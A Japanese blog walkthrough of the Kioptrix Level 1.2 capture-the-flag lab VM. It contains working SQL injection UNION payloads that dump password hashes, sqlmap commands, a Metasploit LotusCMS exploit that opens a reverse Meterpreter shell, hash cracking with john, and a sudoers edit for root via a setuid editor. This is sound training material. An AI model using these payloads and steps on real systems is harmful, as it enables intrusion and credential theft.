LoginSignup
2
3

More than 3 years have passed since last update.

【VulnHub】Kioptrix: Level 1.2 (#3) - Walkthrough -

Last updated at Posted at 2019-11-19

Kioptrix: Level 1.2 (#3)」は、「Kioptrix」によって開発され、VulnHubにて公開されているシリーズの一つです。

リリース情報

名称: Kioptrix: Level 1.2 (#3)
リリース日: 2011年4月18日
シリーズ: Kioptrix
作者: Kioptrix
Twitter: @loneferret

Walkthrough

列挙

稼働しているIPアドレスの特定

ネットワーク内のIPアドレスを探すために、netdiscoverコマンドを使用します。

root@kali:~# netdiscover -r 172.16.208.0
Currently scanning: Finished!   |   Screen View: Unique Hosts

67 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 4020             
_____________________________________________________________________________
  IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
-----------------------------------------------------------------------------
172.16.208.1    00:50:56:c0:00:08      1      60  VMware, Inc.                
172.16.208.2    00:50:56:f3:32:8a     61    3660  VMware, Inc.                
172.16.208.254  00:50:56:ff:cb:1a      2     120  VMware, Inc.                
172.16.208.197  00:0c:29:4b:af:a7      3     180  VMware, Inc. 

これで、標的のIPアドレスが172.16.208.197であることが特定できました。

このBoxでは、その説明にて/etc/hostsファイルへ記述し、名前解決できるよう設定することが求められています。指定に従って次のコマンド構文を実行します。

root@kali:~# echo "172.16.208.197 kioptrix3.com" >> /etc/hosts

実行されているサービスの特定

次にどのサービスが実行されているのか特定を行います。ポートスキャンの実行です。nmap -Pn -sS -sV -p- kioptrix3.comコマンド構文を使用します。各オプションの狙いは、次の通りです。

-Pn: スキャンの前に行われるpingでの疎通確認をせずにスキャンします
-sS: TCPのSYNパケットを送ってSYN+ACKが返ってくるか調査します
-sV: サービスのバージョンスキャン
-p-: すべてのポートを対象にします

root@kali:~# nmap -Pn -sS -sV -p- kioptrix3.com
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-15 11:36 JST
Nmap scan report for kioptrix3.com (172.16.208.197)
Host is up (0.00026s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
MAC Address: 00:0C:29:4B:AF:A7 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.77 seconds
root@kali:~# 

これで、標的にて稼働しているサービスが判明しました。特に気になるのは次の通りです。

ポート番号 サービス バージョン
22/tcp ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
80/tcp http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)

ウェブサイトの診断

ウェブサイトの脆弱性を診断するために、niktoを使用してみます。

root@kali:~# nikto -h http://kioptrix3.com/
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          172.16.208.197
+ Target Hostname:    kioptrix3.com
+ Target Port:        80
+ Start Time:         2019-11-15 12:01:29 (GMT9)
---------------------------------------------------------------------------
+ Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
+ Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.6
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Cookie PHPSESSID created without the httponly flag
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ PHP/5.2.4-2ubuntu5.6 appears to be outdated (current is at least 5.6.9). PHP 5.5.25 and 5.4.41 are also current.
+ Server leaks inodes via ETags, header found with file /favicon.ico, inode: 631780, size: 23126, mtime: Sat Jun  6 04:22:00 2009
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-3092: /phpmyadmin/changelog.php: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /phpmyadmin/: phpMyAdmin directory found
+ OSVDB-3092: /phpmyadmin/Documentation.html: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ 7444 requests: 0 error(s) and 19 item(s) reported on remote host
+ End Time:           2019-11-15 12:01:56 (GMT9) (27 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
root@kali:~# 

さらに、攻撃の足がかりになりそうなファイルやフォルダをリストベースのブルートフォースで探してみます。dirbコマンドを使用します。

root@kali:~# dirb http://kioptrix3.com/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Fri Nov 15 21:51:37 2019
URL_BASE: http://kioptrix3.com/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://kioptrix3.com/ ----
==> DIRECTORY: http://kioptrix3.com/cache/                                     
==> DIRECTORY: http://kioptrix3.com/core/                                      
+ http://kioptrix3.com/data (CODE:403|SIZE:324)                                
+ http://kioptrix3.com/favicon.ico (CODE:200|SIZE:23126)                       
==> DIRECTORY: http://kioptrix3.com/gallery/                                   
+ http://kioptrix3.com/index.php (CODE:200|SIZE:1819)                          
==> DIRECTORY: http://kioptrix3.com/modules/                                   
==> DIRECTORY: http://kioptrix3.com/phpmyadmin/                                
+ http://kioptrix3.com/server-status (CODE:403|SIZE:333)                       
==> DIRECTORY: http://kioptrix3.com/style/                                     

---- Entering directory: http://kioptrix3.com/cache/ ----
+ http://kioptrix3.com/cache/index.html (CODE:200|SIZE:1819)                   

---- Entering directory: http://kioptrix3.com/core/ ----
==> DIRECTORY: http://kioptrix3.com/core/controller/                           
+ http://kioptrix3.com/core/index.php (CODE:200|SIZE:0)                        
==> DIRECTORY: http://kioptrix3.com/core/lib/                                  
==> DIRECTORY: http://kioptrix3.com/core/model/                                
==> DIRECTORY: http://kioptrix3.com/core/view/                                 

---- Entering directory: http://kioptrix3.com/gallery/ ----
+ http://kioptrix3.com/gallery/index.php (CODE:500|SIZE:5650)                  
==> DIRECTORY: http://kioptrix3.com/gallery/photos/                            
==> DIRECTORY: http://kioptrix3.com/gallery/themes/                            

---- Entering directory: http://kioptrix3.com/modules/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://kioptrix3.com/phpmyadmin/ ----
+ http://kioptrix3.com/phpmyadmin/favicon.ico (CODE:200|SIZE:18902)            
+ http://kioptrix3.com/phpmyadmin/index.php (CODE:200|SIZE:8136)               
==> DIRECTORY: http://kioptrix3.com/phpmyadmin/js/                             
==> DIRECTORY: http://kioptrix3.com/phpmyadmin/lang/                           
+ http://kioptrix3.com/phpmyadmin/libraries (CODE:403|SIZE:340)                
+ http://kioptrix3.com/phpmyadmin/phpinfo.php (CODE:200|SIZE:0)                
==> DIRECTORY: http://kioptrix3.com/phpmyadmin/scripts/                        
==> DIRECTORY: http://kioptrix3.com/phpmyadmin/themes/                         

---- Entering directory: http://kioptrix3.com/style/ ----
+ http://kioptrix3.com/style/admin.php (CODE:200|SIZE:356)                     
+ http://kioptrix3.com/style/index.php (CODE:200|SIZE:0)                       

---- Entering directory: http://kioptrix3.com/core/controller/ ----
+ http://kioptrix3.com/core/controller/index.php (CODE:200|SIZE:0)             

---- Entering directory: http://kioptrix3.com/core/lib/ ----
+ http://kioptrix3.com/core/lib/index.php (CODE:200|SIZE:0)                    

---- Entering directory: http://kioptrix3.com/core/model/ ----
+ http://kioptrix3.com/core/model/index.php (CODE:200|SIZE:0)                  

---- Entering directory: http://kioptrix3.com/core/view/ ----
+ http://kioptrix3.com/core/view/index.php (CODE:200|SIZE:0)                   

---- Entering directory: http://kioptrix3.com/gallery/photos/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://kioptrix3.com/gallery/themes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://kioptrix3.com/phpmyadmin/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://kioptrix3.com/phpmyadmin/lang/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://kioptrix3.com/phpmyadmin/scripts/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://kioptrix3.com/phpmyadmin/themes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)

-----------------
END_TIME: Fri Nov 15 21:51:55 2019
DOWNLOADED: 46120 - FOUND: 17
root@kali:~# 

niktodirbコマンドの結果から、2つのファイル、ディレクトリについて注目してみます。

  • /gallery/
  • /phpmyadmin/

HTTPサービスのスキャン

Firefoxブラウザを使って80/tcpにアクセスしてみます。

  • Home : index.php
    index.png
    Ligoat Securityというサイト名とともに、[Home]、[Blog]、[Login]という3つのタブが用意されていることが確認できます。

  • Blog
    Blog.png
    2つの記事が投稿されています。このうち、「New Lead Programmer!」にはloneferretを新たに採用したとの情報が記載されています。これはユーザー名として登録されている可能性が推測されます。

Welcome loneferret! and don't forget to fill in your time sheet.

  • Login
    LotusCMS.png
    ページタイトルLotusCMS Administrationやフッター情報Proudly Powered by; LotusCMSから、標的はCMSとしてLotusCMSを使用していることが推定できます。

  • /phpmyadmin/
    phpmyadmin.png
    phpMyAdmin管理コンソールのログイン画面です。ユーザー名:admin、パスワード:(空白)にて、ログインに成功しました。ただし、information_schemaのアクセスに限られています。
    information_schema.png

  • /gallery/
    gallery.png
    「got goat?」と名付けた、phpベースの写真共有システムを運用しているようです。
    このBoxでは、Webアプリケーションに対するペネトレーションテストを要求しています。従って、この「got goat?」が標的となるWebアプリケーションであると推定されます。

SQLインジェクション

「got goat?」WEB写真共有システムでは、バックエンドのデータベースにアクセスしていると思われます。
そこで、「SQLインジェクション(CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'))」の脆弱性を抱えている可能性について検証します。
ここでは、攻撃のヒントを求めて、書籍『The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws (English Edition)』を読んでみましょう。
そのヒントは、「Chapter 9 Attacking Data Stores - Finding SQL Injection Bugs」には、こんな風に記載されています。

When user-supplied string data is incorporated into a SQL query, it is encapsulated within single quotation marks. To exploit any SQL injection flaw, you need to break out of these quotation marks.

まず、「got goat?」写真共有システムに、データとしてphp?id=1'を送信してみます。その結果、次のエラーが表示されました。
SQL error.png

You have an error in your SQL syntax

さらに、データとしてphp?id=''を送信してみます。このとき、エラーは回避されました。
SQL normal.png

URLの末尾に単一のシングルクォーテーション'を指定した場合、SQL構文のエラーを示すメッセージが返答されました。さらに、2つのシングルクォーテーション''を指定した場合、エラーが回避されました。
一般に、データベースでは2つのシングルクォーテーションを使用してリテラルのシングルクォーテーションを表します。
一連の検証では、シングルクォーテーションをどのように取り扱っているのかシステムの反応を確認しました。
一連の反応から「got goat?」写真共有システムはSQLインジェクション攻撃に対して脆弱である可能性を推定することができました。

なお、上記の参考書籍の他に、「Hacking website using SQL Injection -step by step guide」の内容も参考になります。併せて確認しましょう。

Step by Step

脆弱な列の表示

SQLインジェクションに対して脆弱であることを前提に、union select columns_sequenceクエリを使い、脆弱な列の表示を試みます。
columns_sequenceを、コンマ,で区切られた1からx-1(列の数)までの数値に置き換えます。すなわち、列数が6の場合、クエリは次のようになります。

.php?id=-1 union select 1,2,3,4,5,6--

Vulnerable columns.png

MySQL バージョンの表示

データベースのバージョンを列挙します。すでに列2が脆弱であることが判明しています。そこで、コードをその列に挿入するクエリを実行します。

.php?id=-1 union select 1,version(),3,4,5,6--

version.png

5.0.51a-3ubuntu5.4

MySQL 5.0.51aであることが特定できました。
また、データベース数とユーザー名ついては、次のクエリにて列挙が可能です。

.php?id=-1 union select 1,database(),3,4,5,6--
.php?id=-1 union select 1,user(),3,4,5,6--

テーブル名の表示

さらに、データベースにあるテーブルとその名前を列挙するクエリを実行します。

.php?id=-1 union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()--

table name.png

列名の列挙

dev_accountsテーブルは特に魅力的に感じます。

そこで、テーブル名を表示させたクエリを改変していきます。

  1. group_concat(table_name)group_concat(column_name)に置き換えます。
  2. from information_schema.tables where table_schema=database()--FROM information_schema.columns WHERE table_name=mysqlchar–に置き換えます。
  3. ここで、テーブル名dev_accountsCHAR()に変換(100, 101, 118, 95, 97, 99, 99, 111, 117, 110, 116, 115)し、mysqlcharと置き換える必要があります。
.php?id=-1 union select 1,group_concat(column_name),3,4,5,6 FROM information_schema.columns WHERE table_name=CHAR(100, 101, 118, 95, 97, 99, 99, 111, 117, 110, 116, 115)--

column_name.png

これで列のリストを列挙することができました。この情報を参考にさらにクエリを改変していきます。

  1. group_concat(column_name)group_concat(username、0x3a、password)に置き換えます。
  2. FROM information_schema.columns WHERE table_name=mysqlchar–from dev_accounts
.php?id=-1 union select 1,group_concat(username、0x3a、password),3,4,5,6 FROM dev_accounts--

username.png

id username password
1 dreg 0d3eccfb887aabd50f243b3f155c0f85
2 loneferret 5badcaf789d3d1d09794d8f021f40f0e

sqlmapコマンド

sqlmapコマンドを実行し、DBMSに登録されているデータベースの列挙を試みます。

root@kali:~#sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1" --dbs

sqlmap_dbs.png

galleryinformation_schemamysqlの3つのデータベース(available databases [3]:)の列挙に成功しました。
このうち、galleryデータベースのテーブルをsqlmapコマンドにて表示させます。コマンド構文は次のとおりです。

root@kali:~#sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1" -p id --tables -D gallery

sqlmap_tables.png

7つのテーブル([7 tables])の列挙に成功しました。
このうち、dev_accountsテーブルは特に魅力的に感じます。
そこで、dev_accountsテーブルのエントリをsqlmapコマンドにて表示させます。コマンド構文は次のとおりです。

root @ kali:〜#sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1" -p id -T dev_accounts --dump

sqlmap_dev_accounts.png

id username password
1 dreg 0d3eccfb887aabd50f243b3f155c0f85 (Mast3r)
2 loneferret 5badcaf789d3d1d09794d8f021f40f0e (starwars)

LotusCMS

攻撃端末側でMetasploit Frameworkを使い、LotusCMSのエクスプロイトモジュールを検索します。

msf > search lotusCMS
[!] Module database cache not built yet, using slow search

Matching Modules
================

   Name                              Disclosure Date  Rank       Description
   ----                              ---------------  ----       -----------
   exploit/multi/http/lcms_php_exec  2011-03-03       excellent  LotusCMS 3.0 eval() Remote Command Execution

結果、LotusCMSには、eval()関数の処理においてリモートコード実行の脆弱性(EDB-ID: 18565)を抱えていることが判明しました。
exploit/multi/http/lcms_php_execモジュールを選択し、show optionsにて必要な項目を設定します。

msf > use exploit/multi/http/lcms_php_exec 
msf exploit(multi/http/lcms_php_exec) > show options

Module options (exploit/multi/http/lcms_php_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST                     yes       The target address
   RPORT    80               yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   URI      /lcms/           yes       URI
   VHOST                     no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   Automatic LotusCMS 3.0


msf exploit(multi/http/lcms_php_exec) > set RHOST kioptrix3.com
RHOST => kioptrix3.com
msf exploit(multi/http/lcms_php_exec) > set URI /
URI => /

exploitにて、エクスプロイトモジュールを実行します。システム情報(sysinfo)とセッションの実行権限(getuid)について確認しましょう。

msf exploit(multi/http/lcms_php_exec) > exploit

[*] Started reverse TCP handler on 172.16.208.198:4444 
[*] Using found page param: /index.php?page=index
[*] Sending exploit ...
[*] Sending stage (37775 bytes) to 172.16.208.197
[*] Meterpreter session 1 opened (172.16.208.198:4444 -> 172.16.208.197:39569) at 2019-11-15 21:59:32 +0900

meterpreter > 
meterpreter > sysinfo
Computer    : Kioptrix3
OS          : Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686
Meterpreter : php/linux
meterpreter >
meterpreter > getuid
Server username: www-data (33)
meterpreter > 

システム探索

さらに、shellに入ります。
このとき、低特権シェルをよりインタラクティブにします。Pythonを使用し、Pseudo Terminal Utilitiesライブラリをロードします。そのライブラリを使用してbashシェルを生成します。コマンド構文は次のとおりです。

meterpreter > shell
Process 5189 created.
Channel 0 created.
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@Kioptrix3:/home/www/kioptrix3.com$

lsb_releaseコマンドにて、ディストリビューションを確認してみます。

www-data@Kioptrix3:/home/www/kioptrix3.com$ lsb_release -a
lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 8.04.3 LTS
Release:    8.04
Codename:   hardy
www-data@Kioptrix3:/home/www/kioptrix3.com$ 

www-data権限で移動可能な/home/www/kioptrix3.comディレクトリを探索してみましょう。

www-data@Kioptrix3:/home/www/kioptrix3.com$ ls -al
ls -al
total 92
drwxr-xr-x  8 root root  4096 Apr 15  2011 .
drwxr-xr-x  3 root root  4096 Apr 12  2011 ..
drwxrwxrwx  2 root root  4096 Apr 15  2011 cache
drwxrwxrwx  8 root root  4096 Apr 14  2011 core
drwxrwxrwx  8 root root  4096 Apr 14  2011 data
-rw-r--r--  1 root root 23126 Jun  5  2009 favicon.ico
drwxr-xr-x  7 root root  4096 Apr 14  2011 gallery
-rw-r--r--  1 root root 26430 Jan 21  2007 gnu-lgpl.txt
-rw-r--r--  1 root root   399 Feb 23  2011 index.php
drwxrwxrwx 10 root root  4096 Apr 14  2011 modules
drwxrwxrwx  3 root root  4096 Apr 14  2011 style
-rw-r--r--  1 root root   243 Aug  5  2010 update.php
www-data@Kioptrix3:/home/www/kioptrix3.com$

/galleryディレクトリについてさらに探索してみましょう。

www-data@Kioptrix3:/home/www/kioptrix3.com$ cd gallery/ 
cd gallery/
www-data@Kioptrix3:/home/www/kioptrix3.com/gallery$ ls -al
ls -al
total 164
drwxr-xr-x 7 root root  4096 Apr 14  2011 .
drwxr-xr-x 8 root root  4096 Apr 15  2011 ..
drwxr-xr-x 2 root root  4096 Apr 12  2011 BACK
-rw-r--r-- 1 root root  3573 Oct 10  2009 db.sql
-rw-r--r-- 1 root root   252 Apr 12  2011 g.php
drwxr-xr-x 3 root root  4096 Apr 12  2011 gadmin
-rw-r--r-- 1 root root   214 Apr 12  2011 gallery.php
-rw-r--r-- 1 root root  1440 Apr 14  2011 gconfig.php
-rw-r--r-- 1 root root   297 Apr 12  2011 gfooter.php
-rw-r--r-- 1 root root 38771 Apr 12  2011 gfunctions.php
-rw-r--r-- 1 root root  1009 Apr 12  2011 gheader.php
-rw-r--r-- 1 root root   249 Apr 12  2011 index.php
-rw-r--r-- 1 root root 10340 Apr 12  2011 install.BAK
-rw-r--r-- 1 root root   212 Apr 12  2011 login.php
-rw-r--r-- 1 root root   213 Apr 12  2011 logout.php
-rw-r--r-- 1 root root   249 Apr 12  2011 p.php
drwxrwxrwx 2 root root  4096 Apr 12  2011 photos
-rw-r--r-- 1 root root   213 Apr 12  2011 photos.php
-rw-r--r-- 1 root root   219 Apr 12  2011 post_comment.php
-rw-r--r-- 1 root root   214 Apr 12  2011 profile.php
-rw-r--r-- 1 root root    87 Oct 10  2009 readme.html
-rw-r--r-- 1 root root   213 Apr 12  2011 recent.php
-rw-r--r-- 1 root root   215 Apr 12  2011 register.php
drwxr-xr-x 2 root root  4096 Apr 13  2011 scopbin
-rw-r--r-- 1 root root   213 Apr 12  2011 search.php
-rw-r--r-- 1 root root   216 Apr 12  2011 slideshow.php
-rw-r--r-- 1 root root   211 Apr 12  2011 tags.php
drwxr-xr-x 6 root root  4096 Apr 12  2011 themes
-rw-r--r-- 1 root root    56 Oct 10  2009 version.txt
-rw-r--r-- 1 root root   211 Apr 12  2011 vote.php
www-data@Kioptrix3:/home/www/kioptrix3.com/gallery$ 

gconfig.phpファイルにクレデンシャル情報が記載されていることが判明しました。

www-data@Kioptrix3:/home/www/kioptrix3.com/gallery$ cat gconfig.php
cat gconfig.php
<?php
.
<省略>
.
    $GLOBALS["gallarific_path"] = "http://kioptrix3.com/gallery";

    $GLOBALS["gallarific_mysql_server"] = "localhost";
    $GLOBALS["gallarific_mysql_database"] = "gallery";
    $GLOBALS["gallarific_mysql_username"] = "root";
    $GLOBALS["gallarific_mysql_password"] = "fuckeyou";

    // Setting Details -------------------------------------------------
.
<省略>
.
?>
www-data@Kioptrix3:/home/www/kioptrix3.com/gallery$ 

phpMyAdmin

phpMyAdmin管理コンソールから、root/fuckeyouアカウントにてログインします。
root.png

galleryデータベースに移動します。[SQL]タブをクリックし、次のSQLクエリを入力します。

SELECT * FROM dev_accounts

sql.png

id username password
1 dreg 0d3eccfb887aabd50f243b3f155c0f85
2 loneferret 5badcaf789d3d1d09794d8f021f40f0e

パスワードハッシュ

これまで、パスワードがMD5ハッシュ化されて保存されていることが確認できています。
そこで、johnコマンドを使って、ハッシュ化されたパスワード文字列を元に戻すことを試みます。

root@kali:~# john --wordlist=rockyou.txt --format=RAW-MD5 hashes.txt 
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (Raw-MD5 [MD5 128/128 SSE2 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
Mast3r           (?)
starwars         (?)
2g 0:00:00:02 DONE (2019-11-19 00:39) 0.7692g/s 4166Kp/s 4166Kc/s 4167KC/s Masta Ceif fuking rox..Massriot1
Use the "--show" option to display all of the cracked passwords reliably
Session completed
id username password
1 dreg 0d3eccfb887aabd50f243b3f155c0f85 (Mast3r)
2 loneferret 5badcaf789d3d1d09794d8f021f40f0e (starwars)

システム探索 Part 2

Lead Programmerであるloneferret/starwarsアカウントは魅力的です。sshにてアクセスを試みてみます。

root@kali:~# ssh loneferret@kioptrix3.com
The authenticity of host 'kioptrix3.com (172.16.208.197)' can't be established.
RSA key fingerprint is SHA256:NdsBnvaQieyTUKFzPjRpTVK6jDGM/xWwUi46IR/h1jU.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'kioptrix3.com,172.16.208.197' (RSA) to the list of known hosts.
loneferret@kioptrix3.com's password: 
Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
Last login: Sat Apr 16 08:51:58 2011 from 192.168.1.106
loneferret@Kioptrix3:~$

loneferretアカウントで実行できるコマンドを確認してみましょう。

loneferret@Kioptrix3:~$ sudo -l
User loneferret may run the following commands on this host:
    (root) NOPASSWD: !/usr/bin/su
    (root) NOPASSWD: /usr/local/bin/ht
loneferret@Kioptrix3:~$ 

htコマンドはかなり魅力的です。さらにホームディレクトリについて探索してみましょう。いくつか興味深いファイルが存在しています。

loneferret@Kioptrix3:~$ ls -al
total 64
drwxr-xr-x 3 loneferret loneferret  4096 2011-04-17 08:59 .
drwxr-xr-x 5 root       root        4096 2011-04-16 07:54 ..
-rw-r--r-- 1 loneferret users         13 2011-04-18 11:44 .bash_history
-rw-r--r-- 1 loneferret loneferret   220 2011-04-11 17:00 .bash_logout
-rw-r--r-- 1 loneferret loneferret  2940 2011-04-11 17:00 .bashrc
-rwxrwxr-x 1 root       root       26275 2011-01-12 10:45 checksec.sh
-rw-r--r-- 1 root       root         224 2011-04-16 08:51 CompanyPolicy.README
-rw------- 1 root       root          15 2011-04-15 21:21 .nano_history
-rw-r--r-- 1 loneferret loneferret   586 2011-04-11 17:00 .profile
drwx------ 2 loneferret loneferret  4096 2011-04-14 11:05 .ssh
-rw-r--r-- 1 loneferret loneferret     0 2011-04-11 18:00 .sudo_as_admin_successful
loneferret@Kioptrix3:~$ 

CompanyPolicy.READMEの内容を確認してみましょう。

loneferret@Kioptrix3:~$ cat CompanyPolicy.README 
Hello new employee,
It is company policy here to use our newly installed software for editing, creating and viewing files.
Please use the command 'sudo ht'.
Failure to do so will result in you immediate termination.

DG
CEO
loneferret@Kioptrix3:~$ 

CEOからのメッセージでした。指定されているhtコマンドがかなり気になります。探索してみましょう。

loneferret@Kioptrix3:~$ which ht
/usr/local/bin/ht
loneferret@Kioptrix3:~$ ls -al /usr/local/bin/ht
-rwsr-sr-x 1 root root 2072344 2011-04-16 07:26 /usr/local/bin/ht
loneferret@Kioptrix3:~$ 

htコマンドは、setuidビットが有効になっています。これは、特権昇格に繋げることができそうです。
htコマンドを実行したところ、エラーError opening terminal: xterm-256color.が表示されました。環境変数TERMを指定してエラー回避します。

loneferret@Kioptrix3:~$ sudo ht
Error opening terminal: xterm-256color.
loneferret@Kioptrix3:~$ export TERM=xterm
loneferret@Kioptrix3:~$ sudo ht

htコマンドは、テキストエディタであることが判明しました。
ht.png

特権の引き上げ

htテキストエディタを使って、sudoコマンドの設定ファイル/etc/sudoersを編集します。
F3キーにて、/etc/sudoersを開くよう、指定します。
F3.png

次の行を検索し、行末に, /bin/suを追加します。

loneferret ALL=NOPASSWD: !/usr/bin/su, /usr/local/bin/ht  

/etc/sudoersファイルの編集を終えたら、Alt + Fキーを押しファイルをSaveし、Ctrl + Zキーを押してhtを終了します。
save.png

sudo /bin/suコマンドにて、特権昇格を試みます。

loneferret@Kioptrix3:~$ sudo /bin/su
root@Kioptrix3:/home/loneferret# id
uid=0(root) gid=0(root) groups=0(root)
root@Kioptrix3:/home/loneferret# whoami
root
root@Kioptrix3:/home/loneferret# 

フラグの取得

特権取得後、/rootディレクトリを探索します。Congrats.txtファイルが確認できます。

root@Kioptrix3:~# pwd
/root
root@Kioptrix3:~# ls -al
total 52
drwx------  5 root root  4096 2011-04-17 08:59 .
drwxr-xr-x 21 root root  4096 2011-04-11 16:54 ..
-rw-------  1 root root    21 2019-11-17 10:18 .bash_history
-rw-r--r--  1 root root  2227 2007-10-20 07:51 .bashrc
-rw-r--r--  1 root root  1327 2011-04-16 08:13 Congrats.txt
drwxr-xr-x 12 root root 12288 2011-04-16 07:26 ht-2.0.18
-rw-------  1 root root   963 2011-04-12 19:33 .mysql_history
-rw-------  1 root root   228 2011-04-18 11:09 .nano_history
-rw-r--r--  1 root root   141 2007-10-20 07:51 .profile
drwx------  2 root root  4096 2011-04-13 10:06 .ssh
drwxr-xr-x  3 root root  4096 2011-04-15 23:30 .subversion
root@Kioptrix3:~# 

種明かし情報が記載されているので確認しましょう。

root@Kioptrix3:~# cat Congrats.txt 
Good for you for getting here.
Regardless of the matter (staying within the spirit of the game of course)
you got here, congratulations are in order. Wasn't that bad now was it.

Went in a different direction with this VM. Exploit based challenges are
nice. Helps workout that information gathering part, but sometimes we
need to get our hands dirty in other things as well.
Again, these VMs are beginner and not intented for everyone. 
Difficulty is relative, keep that in mind.

The object is to learn, do some research and have a little (legal)
fun in the process.


I hope you enjoyed this third challenge.

Steven McElrea
aka loneferret
http://www.kioptrix.com


Credit needs to be given to the creators of the gallery webapp and CMS used
for the building of the Kioptrix VM3 site.

Main page CMS: 
http://www.lotuscms.org

Gallery application: 
Gallarific 2.1 - Free Version released October 10, 2009
http://www.gallarific.com
Vulnerable version of this application can be downloaded
from the Exploit-DB website:
http://www.exploit-db.com/exploits/15891/

The HT Editor can be found here:
http://hte.sourceforge.net/downloads.html
And the vulnerable version on Exploit-DB here:
http://www.exploit-db.com/exploits/17083/


Also, all pictures were taken from Google Images, so being part of the
public domain I used them.

root@Kioptrix3:~# 

まとめ

Kioptrix: Level 1.2 (#3)」では、「SQLインジェクション(CWE-89)」に関する基本的なアプローチを確認しました。
setuidビットが有効になっているrootアカウントが所有する実行可能ファイルを探し、sudoコマンドの設定ファイル/etc/sudoersを編集することで特権昇格を試みました。

参考資料

2
3
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
3